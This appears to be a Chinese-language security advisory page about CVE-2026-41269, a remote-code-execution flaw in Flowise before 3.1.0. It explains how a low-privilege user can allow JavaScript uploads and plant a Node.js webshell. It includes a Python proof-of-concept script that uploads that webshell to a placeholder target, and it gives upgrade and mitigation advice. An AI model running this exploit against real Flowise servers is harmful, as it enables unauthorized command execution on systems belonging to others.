IPBUF安全漏洞报告
English
CVE-2026-41269 CVSS 7.1 高危

CVE-2026-41269 Flowise远程代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41269
漏洞类型
远程代码执行 (RCE)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

RCE文件上传FlowiseWebShellNode.jsCVSS-7.1

漏洞概述

Flowise是一个用于构建定制化大语言模型流程的拖放式用户界面。在3.1.0版本之前,该应用存在安全漏洞,攻击者可以修改Chatflow配置文件的上传设置,允许application/javascript MIME类型。尽管前端通常限制JavaScript文件上传,但此漏洞允许攻击者绕过限制上传.js文件。这使得攻击者能够在服务器上持久化存储恶意的Node.js Web Shell,从而导致远程代码执行(RCE)风险。该漏洞已在3.1.0版本中修复。

技术细节

该漏洞的根本原因在于Flowise的Chatflow配置文件上传功能对MIME类型的校验逻辑存在缺陷。虽然前端界面实施了严格的上传限制,禁止用户上传JavaScript文件,但后端服务器未能严格执行相应的安全策略。攻击者利用低权限账户(PR:L),通过修改配置参数,将允许的MIME类型设置为application/javascript。一旦此修改生效,攻击者即可构造包含恶意Node.js代码的.js文件并上传至服务器。由于服务器未能正确识别或拦截此类文件,恶意文件被持久化存储在服务器文件系统中。攻击者随后可以通过HTTP请求访问并执行这些上传的脚本,从而在服务器端获得命令执行权限。这种利用方式无需用户交互(UI:N),且通过网络向量(AV:N)发起攻击,成功利用后将对系统完整性造成严重影响,并可能导致敏感信息泄露。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要获取Flowise应用程序的低权限账户访问权限(PR:L),以便能够访问配置和上传功能。
STEP 2
2. 修改上传配置
攻击者利用漏洞,修改Chatflow的配置文件上传设置,将允许的MIME类型列表中加入application/javascript,从而绕过前端限制。
STEP 3
3. 上传恶意文件
攻击者构造包含恶意Node.js代码(Web Shell)的.js文件,并通过修改后的配置将其上传到服务器。
STEP 4
4. 执行代码
攻击者通过浏览器或HTTP工具访问上传的.js文件路径。服务器解析并执行该JavaScript代码,从而实现远程代码执行(RCE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Flowise < 3.1.0 - RCE via Malicious JS Upload # Description: Uploads a malicious .js file by leveraging the configuration bypass. TARGET_URL = "http://target-flowise-instance/api/v1/internal/upload" MALICIOUS_FILE_NAME = "webshell.js" # Node.js code to execute system commands (e.g., whoami) PAYLOAD_CODE = """ const { exec } = require('child_process'); exec('whoami', (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); """ def upload_webshell(): # Prepare the file with application/javascript MIME type files = { 'file': (MALICIOUS_FILE_NAME, PAYLOAD_CODE, 'application/javascript') } # Additional data that might be required to bypass configuration checks data = { 'chatflowId': 'test_id', 'settings': '{"allowedMimeTypes":["application/javascript"]}' } try: print(f"[*] Attempting to upload {MALICIOUS_FILE_NAME} to {TARGET_URL}...") response = requests.post(TARGET_URL, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Access the shell at: /uploads/{MALICIOUS_FILE_NAME}") else: print(f"[-] Upload failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": upload_webshell()

影响范围

Flowise < 3.1.0

防御指南

临时缓解措施
建议立即将Flowise升级到3.1.0版本以修复此漏洞。如果无法立即升级,应配置Web服务器拒绝解析上传目录中的.js文件,或通过WAF规则拦截对上传目录的脚本文件请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表